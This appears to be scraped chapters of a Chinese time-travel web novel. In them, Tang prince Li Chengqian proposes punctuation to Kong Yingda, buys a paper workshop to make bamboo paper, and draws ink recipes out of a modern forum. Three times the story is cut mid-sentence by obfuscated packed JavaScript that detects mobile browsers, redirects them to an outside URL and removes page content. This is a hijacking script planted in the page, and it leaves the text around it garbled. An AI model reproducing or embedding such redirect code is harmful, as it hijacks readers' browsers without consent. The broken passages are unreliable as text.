李承乾满意点头又看向长孙家庆:“要跟着练吗,练练这个养心静气挺不错的。” 长孙家庆扶额:“小殿下倒是沉稳。” “罢罢罢,是臣先沉不住气,小殿下可知晓现在那流言说的什么?” “说小殿下身子孱弱,不堪大任。” 李承乾被逗笑:“堪不堪大任又不是他们说了算。” “我阿耶又不是一进长安就舍不得挪窝的上皇,他想立谁为太子就立谁为太子。” “不服气?不服气去打天下啊。” 树丛后的李世民忍俊不禁,笑眯眯对着身旁的长孙如堇炫耀似的抬抬下巴,臭小子倒是乐得借他这个东风。 长孙家庆被噎了一下:“不止,他们还言小殿下玩物丧志去做那低贱的工匠之活,又气跑了孔颖达,实在是丢了皇室的颜面。” 李承乾心情平和刻意提高音调:“颜面?什么是皇室的颜面?” “是敢为天下先,是克己复礼束缚己身,是大庇天下百姓得欢颜,这才是皇室的颜面。” “如今突厥眼瞅就要打到长安了,嘴皮子厉害可以跟着我阿耶上前线去跟颉利可汗对峙,如此我还能高看他们一眼。” 不是喜欢说闲话吗,就将他这话好好传一番吧。 侧耳倾听的李世民动作一顿,好半晌面上才挂上一个无奈又欣慰的笑容。 长孙如堇捏捏李世民的手指低语:“这嘴毒的确实似你,前朝也没几个说得过二郎的。” 李世民故作不满:“只是真话而已。” 长孙家庆连连嘶声,从前温良恭俭让的小殿下呢,这病了一回的人是彻底解放天性了吗? 长孙家庆忽而升起好奇:“还有孔颖达孔公,这个小殿下又打算如何反驳?” 李承乾结束动作,只觉得手脚都热热的,整个人神清气爽,他脚步一转拍拍李泰的肚子:“往后与我一样都吃些清淡的饭食。” 李泰吸气:“阿兄!” 李承乾冷酷:“没得商量,太胖,阿兄不喜欢。” “青雀,你也不想阿兄不喜欢你吧?” 李泰闷闷:“好吧。” 长孙家庆、顾十二:…… 李世民、长孙如堇:……也不错,瞧着就兄友弟恭的。 “至于孔颖达,我没打算反驳,逃课换人确是我们做错,这个我认。” 正等着李承乾引经据典反驳的长孙家庆:? 李承乾揉揉自己的后脖颈:“所以今日吃完早膳我正打算带青雀一道去孔府请罪。” 长孙家庆皱眉:“谁人不知那孔颖达的脾性最是刚直,两位小殿下打算如何请罪?” 李承乾神秘一笑:“保管叫孔公转怒为喜,等着看好了。” 长孙家庆无奈:“小殿下可别想着拿陛下压人。” 李承乾抬抬下颌:“遇上委屈寻阿耶告状,我又不是小屁孩哪那么幼稚,你说对吧青雀?” 被长孙家庆说中心思的李泰:…… “对、对吧。” 李承乾轻笑:“那还等什么,与我一道吃早膳,吃完我们就出发。” 盯着一行人笑闹远行的背影,李世民垂眸思索,指尖在箭囊上轻轻敲着:“时刻关注李承乾的动向,跟着他们一道去孔府,便去瞧瞧承乾打算如何哄孔颖达开心。” 这是李承乾自己惹出来的事,李世民没打算用皇权给自家孩子擦屁股。往后就是一国储君,自然一人做事一人当。 身边内侍低低应是,但应完后内侍却生出犹豫:“陛下,如今卫兵的名册是都整理出来了。” “陛下今日只教那禁军首领在宫内习武射箭外人尚且不知,可往后若是多了那许多府兵禁军可要如何瞒过前朝大臣之眼?” 李世民翻看名册满不在乎道:“朕为帝亦是为帅,教自己手底下的兵练武又有何不可?我本也没打算隐瞒。” 兵熊熊一个,将熊熊一窝。 他从来都是要告诉天下人,今朝突厥兵临城下之事他不曾有一刻忘却。 正如李承乾所言,这才是所谓的皇室颜面。 长孙如堇看着意气风发的丈夫,她浅笑欠身:“第一批宫女都已出宫,第二批倒也可以提上日程了。” 既能放人出宫让人自由,又可一点一点淡化李渊在后宫的影响力,省得动不动就有流言蛊惑人心,两全其美。 二郎在前朝,她便在后宫。 二郎早就择好了自己的年号。 贞观,天地之道,贞观者也。 他们一家所求的从来都是以正道示天下。 *** 孔府。 李承乾嘴角噙笑,面对身前冷脸但礼数一应俱全的孔颖达连眉都没皱一下。 与之相反的则是跟在李承乾身边的李泰。 他牢牢记着来之前李承乾的嘱咐,垂着脑袋整个人散发着“我错了”的气息。实则若非李承乾遮掩在宽大袖袍下的手撑着他的腰腹,他可以给孔颖达表演一个倒地就睡。 “殿下是未来的君,臣既为殿下夫子,天地君亲师,殿下连身边小事尚且不能约束已身又遑论家国大事?” “殿下自小聪慧,陛下对殿下付以重望,臣又怎能怯懦不言,自该犯颜直谏。” 自该犯颜直谏…… 臣死无所恨。 遥远的仿佛来自千年前的苍老声音带着怒意与决绝飘荡而来,李承乾神思恍惚,忽然便觉此情此景飞速转变。 他的眼前不再是敛目低语的孔颖达,他的身侧不再是乖巧听话的李泰。 是怒意滔天,是恨铁不成钢,是失望万分,是眸底露骨又直白太子不堪大任的孔颖达。 是讥笑嘲讽,是恨屈居人下,是野心勃勃,是声音懒散又高傲阿兄不学无术的李泰。 是白茫茫一片无所依,是孤单单幽魂无处寻。 眼前闪过白光,李承乾搭在双膝上的手下意识一紧,不明白自己方才是怎么了,可偏偏越是回忆越是想不起。 “殿下?” 似乎是不满李承乾的闭口不言,孔颖达微蹙眉心放下手中《论语》。 李承乾微晃脑袋,他是忘记了什么吗……还是因为穿越他的记忆也受到影响变得混乱? 李承乾刚压下心中古怪,突觉心脏痉挛,脊背瞬间绷直。 李承乾咬牙,只感后心湿冷一片,深吸好几口气才平复痛感,他的目光落到摊在二人中间的《论语》缓缓道:“承乾想要请教夫子论语中一言。” “民可使由之不可使知之,何解?” 孔颖达语调不变:“句读之法稚童开蒙便学,自有师父夫子教导,殿下何必明知故问?” 李承乾隐秘借力案桌放松身体:“民可使由之,不可使知之。” “可该句的上一句却正是兴于诗立于礼成于乐,亦可解读为民可,使由之;不可,使知之。” “其实这样也可以说通不是吗?” 这句在后世相当出名,甚至也有许多相关论文阐述。 原断句算是古代主流说法,但正是这个断句其意却在近代充满争议,就是否愚民这点正反方打得不可开交。 而其他断句到底多是不符合先秦时期的说话方式,且后来挖出的《尊德义》就有此句详解,故而便有另一种观点,原断句无错只是因为通假字而造就文意解释不同。 不过李承乾原意并非如此。 我注六经,六经注我,李承乾不评判哪个是对是错,他只是想用这句话做诱饵。 孔颖达不动声色,他当然知道这样的解读谈不上对,可…… “殿下缘何有这般想法?” “不过是承乾在翻阅论语之时此句恰好被一工匠所见,工匠识字不多彼时便将此句断为这般。” 李承乾指尖指向《论语》上细致的“标点”:“虽言句读,但几乎是根据虚字判断,且多是在句末点上一点,总归不能包含全部,正文中间鲜有符号将其隔开,容易造成误读。” “甚至有符号已是少见,市面上流通的书籍便是连句末一点都无。” “此时若无好师教导,便很有可能产生差错以至于误解孔子之意,这是承乾在这几日一直思索的问题。” 如今有纸,不至于如同先秦时代竹简刻字不便。 “承乾知夫子乃孔子后人,往来战乱四百余年,民间儒学南北分立,夫子一直渴望重铸儒学,不知学生所言对否?” 孔颖达轻哼:“自要重拾祖上之风,臣从不隐瞒。” “所以殿下的意思是要想推出一套新的断句之法?” 李承乾抬眸:“民可使由之?不。可使知之。” 微扬的语调,是明显的疑惑与自问自答。 “这般解读亦可说通,夫子你说,这是不是真的很有趣?” 李承乾侧首,好似个求知若渴的稚童。 孔颖达当即接口:“语气之分。” “殿下不仅是要区分停顿更是要区分语气?” 李承乾点点《论语》:“有何不可,夫子本就是想重注五经的不是吗?陛下应也是有这个意思的。” 出自孔颖达之手大名鼎鼎的《五经正义》李承乾还是知道的。 “何苦说些什么书读百遍其义自现的大道理,一点之差便能衍生千百般意。这书是给全天下文人读的,夫子难不成愿见自家先祖言语被曲解?” “何况若有断句标点,其作用又哪里局限于典籍呢?” “医书亦是书。” “若是再让百姓费劲心思去句读,叫人攻讦事无巨细的标点是浅薄愚昧还好,可百姓之命却是实实在在的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15396393|168105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李承乾其实也有私心,他真的受够了这通篇不断的古代典籍。以前生啃《册府元龟》的痛苦记忆他还没忘呢。 “且儒学南北分立,何苦藏着掖着,叫更多人能轻易知晓孔子之言不是更好吗?” “夫子纵然能得朝廷的做保,可民间言论陛下又哪里能一一管来。” “这瞧着容易,愿意信夫子注言的人自然多了,到那时还需计较他人之言吗?” 话落屋内陷入一片死寂。 孔颖达沉默良久忽而捻须轻笑:“殿下提议着实有趣。” 说着孔颖达冲身边下人示意。他早便得到陛下消息,知晓陛下关心自家儿子,如今这屋中事他当然得赶紧告诉陛下了。 “具体停顿语气之分臣还需细细琢磨,此事臣便先上奏陛下。” 这句读标点也只有如李承乾这般的小儿才会好奇,像他们这等大儒反倒是习以为常以致将其忽略。 李承乾勾唇躬身行礼:“孔公过誉,说到底承乾今日是来认错的,承乾日后定不再犯当日旧错。” 孔颖达掸袖起身:“臣亲自送殿下出府。” 二人对视而笑。 什么不尊师重道,什么孔颖达对李承乾失望,双方当事人均表示这是不存在的。 李承拎起在状况外的李泰心中思绪万千。 至宋以前,句读标点使用随意未成体系,官刻坊刻尚未大规模普遍性运用。 世家贵族垄断知识,除却笔墨纸砚实在昂贵与经典藏书不愿流通之外,还有一点,便是这句读标点。 有钱人家底蕴深厚,自然是能看得经过一代又一代名家详细批注的。 稍稍差些资源的,连一句话都要翻来覆去念好几遍尚不知其意,这便已经落后一截。 可法不传六耳,句读标点若要推广其中阻力可想而知。 所以孔颖达这个孔子后人,李承乾必须将这人拉上一条船,由他来出面。 此其一也。 其二,纸张。 若是他记得不错,那始于唐兴盛完善于宋明的竹纸与制纸相关流程,大大提高了纸的产量,他也曾有幸因为看小说时较真而去仔细搜索过文献资料。 其三,墨水。 东方的他了解不多,但想要制成需要的技术和步骤都甚是麻烦,只能慢慢来。 倒是他曾经听过西方的铁胆墨水与胡桃木墨水。 这两样制作极其简易的墨水,他虽听过他人夸赞不知详细,但没关系,他会在论坛这个金手指中套出来具体制作过程的。 甚至不止墨水,笔也可改良。 白垩烧制的粉笔他可以尽量摸索发明。 他要它们提前出现,他要尽可能压低笔墨纸张的价格。 他要降低读书的成本,他要撬开一道知识垄断的口子。 而且……李承乾垂眸,其一的句读标点,便是拉李世民上船也未尝不可。 *** 东宫,显德殿。 李世民手边摊着张图纸,身侧站着杜如晦。 杜如晦眼窝青黑打起精神:“宫中将作监和牧监昨日可是拉臣探讨了一整夜,今早图纸方出臣便马不停蹄赶来送到陛下案前。” 说完杜如晦打着哈欠小声抱怨:“近日因突厥事兵部本就繁忙,更不用提马掌。” “陛下可千万别听信玄龄的‘谗言’说臣一天天闲得慌。玄龄那是天生的操心命,臣可爱风流得紧。” 李世民笑着拿起一卷书册轻敲杜如晦的肩膀:“胡言乱语。要是逼得玄龄弹劾你,我可不会帮你遮掩。” “唉,得得得,倒底是比玄龄晚些入秦王府,陛下果真是最最偏心玄龄,新人不如旧人呐。” 李世民好笑:“倒是唱起来了,还不讲正事。” 杜如晦这才严肃下来:“初步想的形状是契合马蹄上似半月形的凸起部分,那块地方向来坚硬,磨去马儿也不觉疼。” “臣等想的固定之法便是敲孔以倒钩钉固定,至于末端可以制成弯曲弧度防滑。” 李世民拿起图纸细细思量:“说起防滑,你们有没有考虑在这底下加些东西用来在冬日行军,雪地和冰面如何?” 杜如晦点头:“不止。” “为了走一些坎坷地形,将作监提出可以在这底部镶嵌细微尖刺以便更好扣紧地面。不过冰面毕竟太滑需要添加重钉。” “这都是初步图纸设想,需要跟着铁匠打造再修改。” 李世民闭眸放松:“不错,等打造出来后寻两支骑兵,一支用这马掌另一支不用。” “各种地形均要测试,长途短途的消耗磨损亦要对比记录。” “不仅如此,其中耗铁与人力多少、打造时间速度这些粗略数据我都要。” 杜如晦应声:“自然不会辜负陛下期望。” 就在两人商议之际,先前跟着一道去孔府的内侍请见。 李世民闭目养神听着内侍禀告,良久似笑非笑道:“承乾这话倒是有意思。” “啧,医书是书,朝廷政策文告可亦是书。” “句读标点倒是能轻松官府小吏不必再死记硬背,也能叫些识字的百姓看懂其意。” “毕竟……行政诏令怎可一体两意?” 15.初试竹纸 身处他们这个时代,行政诏令层层往下,虽说皇权不下县过于绝对,但此话并非无道理。 不论是从长安发出的政令还是一州往下颁布的政策,这其中若有空子可钻,李世民从不高估他们的良心。 说到底古代皇室就是最大的地主,但层层加码压榨甚至是“管家剥削长工”尤盛这种情况也是屡见不鲜。 李世民从不奢望靠着一个所谓成体系的句读标点来阻止这种现象,但有成文规定多少也能遏制一二。 李世民指节轻叩桌面:“国子监。” “承乾既然拿此向孔颖达邀功,想来他是清楚孔颖达重铸五经的毕生夙愿。但太慢,等真正成书少说也要十数年。” 杜如晦沉吟:“陛下是想……?” 李世民思索片刻从案桌下暗格中抽出一封信:“总归我也没什么亭台楼阁要修,朝中钱财多拨些往国子监去。也不够,光长安总不成,各地官学也得跟上。” “如今各处发行的经史子集多为私人刊印,由朝廷牵头主持的却是少见。” 说着李世民从信封中抽出信:“等孔颖达琢磨出一套规范的样式后可以先安排几套简易的经书,由国子监与与各地官学校刻发行。” 杜如晦轻啧:“与私人刊印相对,不如叫官刻本吧。这样倒是方便往后科举的学子,省得不知晓买哪个版本的经书来读好。” 李世民点头:“官刻本,好名字。至于行政召令得慢慢来。” “我这儿恰好有个例子可以一试。” 李世民将信展平,杜如晦凑上前看,原来竟是前几日太医令刘神威替自家师父孙思邈传达的信。 “孙思邈已将接种牛痘的前后流程详细写出,将这内容转成白话编成小册辅之标点,发行各地官府争取小吏也能与百姓解释如何接种牛痘。” “多少是能将推广牛痘变得更加顺利,也能对世人有所脾益。” 说着李世民感慨:“承乾这小子,往日只知他早慧,不曾想小聪明是一个接一个。” 杜如晦一面听一面认真翻看信纸,翻到倒数第二页时他的动作一停诧异道:“孙思邈奏请陛下要带人去泾阳伤兵营?” “尉迟敬德确实才在那与突厥偏师遭遇,可他要做什么?” 李世民语调耐人寻味:“孙思邈言他或许有办法让战后伤兵死亡数量降低,并且至少能比之往昔降低三四成。” 杜如晦不可思议:“不可能!” “臣可不是文弱书生,臣是跟着陛下亲历战场的,臣最清楚这样的数字怎么可能做到?!” 李世民眼尾不着痕迹上扬:“是啊,怎么可能。” “可说出这话的是孙思邈,当代最有本事的神医。” 李世民微抬下颌,声调不疾不徐安抚杜如晦的焦躁,无端便能让人信服:“我已经下令泾阳官府替孙思邈行便利。” “我们就等着看看孙思邈口中的护理,哦,还有那稀奇古怪的护士,能不能创造奇迹。” *** 没想到自家老爹光明正大跟踪自己的李承乾此刻正站在孔府门口,他一手牵着李泰一面与孔颖达谈笑风生。 整整一柱香时间,足够牢牢关注孔府动向的官员权贵知晓孔颖达对李承乾的态度,那般谣言自然也是不攻自破。 李承乾与孔颖达拱手道别,拉着李泰心情大好。 “十二,你大兄这几日南下之行准备得如何了?” 顾十二叹气:“大兄已经写信去联系他在交趾一带的友人,剩下的差些护卫,等长安不再戒严之后应就是大兄出发之时。” 李承乾嘶气:“戒严,差些忘了。” 马上便是大名鼎鼎的渭水之盟,难怪各坊各街行走在外的人都不算多。 “阿兄阿兄,好不容易出宫一趟我们能玩会吗?” 李承乾不是真的八岁,但李泰是真的七岁。 更不要说国之大事李承乾这个未来太子想不知道都难,李泰却还是对如今突厥逼近的状况懵懵懂懂,小儿心性尽数扑在吃喝玩乐上。 李承乾本想一口回绝,可转念一想他看向顾十二:“十二,这长安城中可有造纸坊?” 尽管同样长久身居宫中,但顾十二还是比李承乾更加了解宫外的种种情况。 “自然。小殿下问这个做甚,莫不是贪新鲜想要一试外头的纸?” 李承乾笑,诱哄似的冲李泰轻声道:“青雀,大兄送你一座纸坊如何?” 他是未来太子,做生意到底会落得一个与民争利的名声。 他虽然不在乎他人看法,只是能少些麻烦还是少些,比如将纸坊挂名在止步于王爷的李泰身上。 李泰兴奋,贴近李承乾小动物般不住蹭着:“阿兄送的我都欢喜。” 顾十二惊诧:“小殿下想要买下一座纸坊?” 李承乾拉着李泰大步朝东市而去:“有何不可?” “我曾自一本名不见经传的杂书上看过一个故事,说是竹也能做纸,你说神奇不神奇?” 顾十二皱眉小跑跟上:“故事而已。” “竹那般坚硬真的能做成吗,且若是竹能做纸,这纸的价格只怕会降下好几成。” 李承乾头也不回:“试试不就清楚了。” 顾十二心疼,不过两月,小殿下攒的几年私库已用去大半,也不知该不该说一句“败家”。 春色纸坊。 李承乾花了点时间便入手一座濒临破产的纸坊。 李泰犹如刘姥姥初入大观园,一松手就跟撒欢的哈士奇,这边摸摸那边瞧瞧跑向后院好不兴奋。 李承乾也不拘着只叫人跟上,而后他认认真真打量着眼前神情憔悴浑浑噩噩的陈蓉——春色纸坊的主人。 因前几年都在打仗,好不容易李世民平定天下,可后来突厥又是年年骚扰,甚至在一两年前传出了李渊想要一把火烧了长安迁都的消息,长安人心惶惶,给本就难做的生意又添上一捧土。 只是好不容易将纸坊出手,陈蓉却怎么也没想到来接盘又出手阔绰的居然是个垂髫小儿。 但是她却无半点轻视之心,能好好行走在外的幼童她可不敢小觑。 “小郎君,你是替家中大人来做生意的吧。” “给我三日时间,我马上就会……。” 陈蓉却是怎么也说不出那个走字。这是她早逝的阿娘留给她最后的东西,这是她从小到大的家,唯一的家。 “不必走,明面上的主人依旧是你。” “就会……不必走?” 话说到一半,陈蓉指尖下意识搓搓衣角。 李承乾点头,迈步走向一旁堆放着的桑皮藤皮,他半蹲下来伸手细细摩挲:“陈蓉,你有没有想过换一种制纸的材料,比如竹。” 陈蓉赶忙回话,生怕李承乾一个不高兴改变主意:“竹?” “听闻蜀地一带确有人尝试,只是竹质坚硬往往耗时繁多,就算勉强造出那纸又脆,随便一折便用不了了。” 李承乾起身望向门外,果然就见远处顾十二正招呼着好几个粗壮郎君拖着一车嫩竹而来。 这些竹子都是将生枝叶的新生竹,是最佳的制作材料。 “我倒是有法子或许可以一试。” 陈蓉只觉心脏都要炸开,她当然知道若竹能制好纸意味着什么,可她从不觉得倒霉了半辈子的自己能有好运。 “真有此法?” 李承乾道:“别忘了这也是我的纸坊,赔本买卖是我来兜底,做不出来你没有损失。但若事成,我还要你帮着我经营纸坊,好处少不了你。” “况且你难道不想你阿娘的纸坊在你手中发扬光大吗?” 不得不说自穿越以来,李承乾学得最快的就是装模作样,只消将李世民身上的气势学去三成,足够唬住普通人。 陈蓉果然被李承乾话中的意味震住,她咽咽口水,这个弯了半辈子腰的女郎,终于挺直脊背,终让潜藏大半生的欲望从最初的小火苗陡然窜成烈焰大火。 这是阿娘留给他的纸坊,她想要将之名声遍天下。 像是溺水人捉住了救命稻草,如果是梦,她也情愿一梦不醒。 陈蓉舔唇:“要如何做?” 李承乾满意眯眸:“关键之处在于石灰。” “一般而言这造纸首要都是将原料浸水,竹纸亦不例外。” “竹坚硬自是要想法子将其软化后锤洗去青壳树皮,这一步便做杀青。” “只是光浸水要的时间太长,整整上百日。” 陈蓉恍然大悟:“所以便要添上石灰,这会快多少?” “不好估算。” “与竹子状态和用料多少都有关系,总之配比得当只需一两月甚至半月都行。” 陈蓉瞪大双眸,一遍遍确定这不是妄想。 “一层石灰一层竹木,层层垒叠泡水。” “杀完青之后还需石灰水,将这些竹料一同拌入蒸煮八个昼夜。” “然后取出竹麻放入水中洗净,这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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软糯的声音响起,不知什么时候跑来只听到后续话语的李泰仰着小脸。 李承乾:? 糖糖糖,糖什么糖,李泰这耳朵只听到了甘蔗这两个字吗,太胖有害健康知道吗? “还想吃糖?” “今夜的荤菜没了,小胖子,你难不成想以后阿兄抱你行走吗?” 李泰轻哼伸手:“阿兄,抱。” 盯着李泰胖胳膊胖腿的李承乾:…… 我怀疑你想害我,并且我有证据。 陈蓉低眉轻笑,忽然觉得这个妖孽聪慧的小儿原来也只是个小儿。 *** 李承乾回到宫中的时候天色已晚,今日他买坊的动静不算小,至少肯定瞒不过李世民。 就是不知为何李世民并没有出言询问,只是同长孙如堇一道来陪他吃过那淡得不能再淡的晚膳后便又去前殿处理公务了。 想着李世民吃饭时那一言难尽的神情,长孙如堇若有似无地询问,李承乾其实想说自己是在养生,真不是故意的,等下一次他们再来一道吃饭他肯定会换上有油水的饭菜。 就是,呃,不知道这个下一次要到什么时候了。 李承乾惆怅想着盯着窗外的月亮,轻抚自孔府起就莫名作痛的心脏。 因他想尽快用论坛套出墨水的制作方法,故而他打算从今天开始不睡觉。 唉,李承乾捧着脸叹气。 却说不知过了多久,叽喳的鸟叫声渐起,李承乾意外感受到熟悉的昏沉痛楚,可他却没有半点欣喜之意。 不是吧,他好歹以为自己至少要熬个两三天啊喂! 怎么才一个半夜不睡他就要晕过去了? 他居然还是高估了自己的身体素质,什么自诩贾宝玉,林妹妹还差不多! 李承乾呼吸逐渐急促,为了体面撑着最后一口气给自己盖好被子,眼前发黑再无知觉。 神秘空间。 李承乾无语半晌,拿过手机先是看了一眼禁言,很好已经解封了。再看看手机上的时间,凌晨四点,恐怕这个时间点论坛的人不多,不过问题不大,他有一个白天的时间跟大家耗。 李承乾不再犹豫,先是以墨水为关键字搜索,有零星几条,但都和他想要知道的没有关系,于是他刷刷打字。 【李涛,都说杨广是因为推广科举被关陇世家和门阀打压才亡国的,所以如果有穿越者带去改良的墨水和活字印刷术,能不能帮助大隋千秋万代?】 最后一字落,李承乾在主楼美美@青天。 引战方面,他是专业的。 16.改良墨水 1L:活久见,怎么最近连续遇上两个吹杨广的,刚在一本隋穿文评论区对完线,来论坛又看到一个晦气的。 2L:楼主的标题配合楼主的ID有一种别样的幽默感,众所周知唐作精太子李承乾精突,楼主精隋。 3L:有没有一种可能隋朝的科举是要五品以上高官举荐才有入场资格?相比以前这何尝不是一种退步。 4L:又是你,被青天举报两次,这是刚一放出来就马不蹄停跑来引战了,还专门@青天,众所周知青天尤擅隋唐史,喜欢李二,有好戏看了。 李承乾:! 没想到青天居然还有这样一层身份,一想到如今李世民是自己爹,李承乾的心中浮上层难以言说的情绪。 啧啧啧,你见不到的人可是我爹耶。 5L:怎么都忙着嘲讽楼主,这活字印刷都快成论坛筛选器了,上次见到还是在上次。 6L:说了多少遍,我们中国古代的农民几乎可以说是最温顺的群体,不是真的活不下去根本不可能揭竿而反。 杨广十四年亡国就是因为他得罪了全部阶级,高的低的,一个都没漏过,所谓的世家关陇恰好陪杨广走到最后,但凡他后期不在江南摆烂,都或许有一战之力。 7L:科举就算在唐代也没什么用啊,起点都不一样注定了寒门想要靠科举出头太难。还有如今论坛全是乐子人撕逼和低配版知乎,谁还记得我们论坛是网文论坛。 8L:楼上的,现在推文下面都是吵架,谁还爱推文。 9L:楼主说的改良还有点道理,活字印刷是真的没有道理啊,现在小说也很少写了,感觉让楼主这么相信活字印刷,应该是教科书的缘故,介绍得太过笼统。 活字印刷术从某种程度上讲在历史上从来都没有取代过雕版印刷,直到近现代新的印刷术出现,二者都死在历史的长河中。 雕版可以保存多年,活字做不到,不方便。 活字排版必须要识字的工人,雕版只要照刻就行,古代工人识字率可想而知。 活字至少需要上千的常用字范,费时高效率低,木活字泥活字用几次就坏了,铜活字普通人哪里又用得起,怕不是用几次就被人偷了,成本过高。 而且雕版雕废一个字并不是整块板废掉,当古人傻吗?当然是挖掉那一块字然后填木屑重新雕刻。 最后一点,活字印刷出来的是真的不美观,歪歪扭扭不好看啊。 总之活字可能是省力,但人工和成本呢? 古尔丹,那代价呢.jpg 不过这玩意对于英文国家来说确实方便,就那么几个字母,但西方也是古登堡搞出印刷机铅活字配合油性墨水之后才彻底流行的活字。 11L:十楼说得挺详细的,在一看就是钓鱼的贴子中这么认真回答真是难得。 我补充一点,穿越者搞活字也不是没有好处,至少像报纸这类时效性高的活字就明显强于雕版,舆论宣传阵地可不能放过啊。 李承乾划动屏幕的手一顿,盯着那个报纸和舆论宣传。 西方的活字印刷术最早也是为教皇方便出版教义更好控制人民,但是到最后却成为了人民思想启蒙的动力之一。 这么简单的法子,你可以印,我什么不行? 李承乾倒扣手机深吸口气,寂静空间中只余他胸膛内加快的心跳。 但这一切的基础在于底层百姓更多的识字率,过早拿出并没有好处。 可埋下一个火星子,或许几百年后,终会有炸成绚烂烟火的一日。 暂且压下这个念头,李承乾翻过手机正打算认真看看,他才发现短短时间内楼中并没有吵架,除却零星的科普外,坛友一致对外都在骂他。 随便吧,看着看着就看习惯了。 李承乾饶有兴趣挑选了几个说话特别难听的坛友选择对线回去,同时尽可能将话题往墨水上引。 【我真的是大唐太子殿下】:谢谢,我家人安好不用你们操心。 礼尚往来,我也代各位坛友向你们的家人问好。 改良造纸和活字印刷这不是早年唐穿文对五姓七望的标配手段吗?此二者一出世家必破,我也是问问这样的情况隋朝能不能实现。 改良墨水感觉重点可以放在矿物墨上,只要穿越者背几个矿地就行了,说不定还能装神弄鬼被封国师,所以有没有这样的文推荐? 坛友:…… 他是怎么做到一边引战一边情绪稳定,一边有理一边弱智的? 28L:矿的话周围有没有交通要道,有没有人力可以随时征召,产出投入比是多少,你知道资源具体在哪个山脚哪个山洞吗? 什么都说不出来,你看皇帝是信你还是砍你。 糟糕,我居然真的在认真和楼主讨论,谁还记得楼主是个杨广吹来着。 【青天】:回楼上,所以可以尝试一下西方两款经典简单且最出名的铁胆墨水与胡桃木墨水,还有中国宋代以后出现的油烟墨。 不过油烟墨一般来说是比松烟墨要贵,但没关系,赚上层人钱也行。 另,虽说是西方的墨照理来讲适配的应该是钢笔鹅毛笔,但是毛笔同样可以凑活使用。 半夜失眠才发现你这个引战狗还专门@我,勇气可嘉。 【我真的是大唐太子殿下】:这几样墨水是啥,咋做啊? 青天大佬我真的是虚心求教,这次就别举报我了呗,反正我又没骂人,引战的理由也封不了几天。 【青天】:我为什么要回答你,自己不会百度吗?伸手党可耻。 坛友:看戏看戏。 【我真的是大唐太子殿下】:百度后资料还是不详细啊,介绍挺少的,看不太明白。 大家都说大佬上知天文下知地理,而且我看有人说你喜欢李二。 看我ID,四舍五入我们是一家人啊,我正好想写一篇唐穿文找资料来着。 【青天】:所以你来吹杨广? 【我真的是大唐太子殿下】:吹不吹无所谓,但是大佬要生气了我可以立马骂的,独夫民贼活该亡国! 坛友:??? 这也太从心了吧! 39L:我说你怎么老是缠着大家给你喂资料,你不会是那种穿越了然后金手指是论坛的家伙吧?说起来我好像看过类似的小说。 40L:那完了,就我们论坛的水平,楼主的国家怕不是三年就要灭亡。 41L:每与坛友反,事乃可成耳。 42L:大家都是一个论坛吹水的,倒也不必如此直白。所以有类似的推文吗? 【青天】:铁胆墨水的主要原料是栎瘿,是一种小果实,在我国古代叫没食子,这个唐代前期就有从外头引进了。 没食子揉碎加水泡几天过滤出来的液体就是铁胆墨水的主要原料之一,然后就是要化学反应加铁盐,哦对了你应该听不懂。 李承乾:…… 见缝插针开嘲讽,大佬果然很讨厌他。 【青天】:总之一般加的是硫酸亚铁溶液,就是绿矾,这玩意我国可以入药,所以中药房一般有卖,天然绿矾山东陕西甘肃湖南浙江等地都有分布。 最主要的就是这两样,但是为了增加墨水稠度让墨水更好附着于纸上,西方人一般还会加阿拉伯树胶。 中国当然不可能加这玩意,用于平替的东西可以用桃胶骨胶,不过这个胶加不加对于墨水性能的影响我具体也不是很清楚。 铁胆墨水耐光防水,不过有个缺点,对书写材质要求高,纸差的话之后会腐蚀烂掉。平常用用可以,正经要长久存储的最好别用。 【青天】:至于胡桃木墨水就更简单了,原料就一个,胡桃的皮,晒干后捣碎加热过滤就行。不过时间一长容易变质,且这个墨水不防水,属于短时间内使用,但可以随时制作所以很方便。 这些都是西方的液态墨,跟中国古代的固体墨不一样,随身携带麻烦些,要用上小罐子保存。 但对于贫苦人家的孩子想要读书写字,没有其他要求,这两种墨推出同样可以降低成本。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“二郎尽可安心于渭水迎敌突厥,宫中有我,长安有我。” 李世民轻声:“自该由我这个大唐天子亲自出面。” 长孙如堇踮脚揽住李世民的脖颈,李世民垂首吻上妻子鬓角,一如武德年间的每一次出征。 社稷兴衰不过系于这一身戎衣。 李世民放开妻子,一手搭在腰间佩剑上,整个人的气场瞬间从温柔体贴的丈夫父亲变成战场之上杀伐果决的天策上将。 “瞧承乾这小子,睡得可真香。” 说着李世民转身大步翻身上马,晨光倾洒中身姿挺拔眉眼如画。 他求家中儿女睡颜安稳,亦求天下百姓不受侵扰。 多好啊,小家大家都能得他庇佑欢喜度日,这便是他每每亲自迎敌最大的意义。 因为他的身后就是长安。 李世民在马上挥手:“让他好好睡,等我归来。” *** 李承乾睡得很熟很香,等他恍惚醒来时已经到了午时。 回忆论坛中青天的讲述,李承乾打着呵欠穿衣,准备马上让顾十二买原料。 那昨日才收编的春色纸坊老板陈蓉倒是可以帮忙将这个东西出售推广。 说起来,李承乾摸着下巴沉思,如果他昨日没看错的话,他从那个女人眼中看到的不仅有想要叫她阿娘留给她的春色纸坊名扬天下的执念,更有说不清道不明的野心和欲望。 这就好办了,日后一些简易但有大用处的发明他都能找陈蓉合作。 他到底人小,陈蓉可以成为他在宫外的左右手。 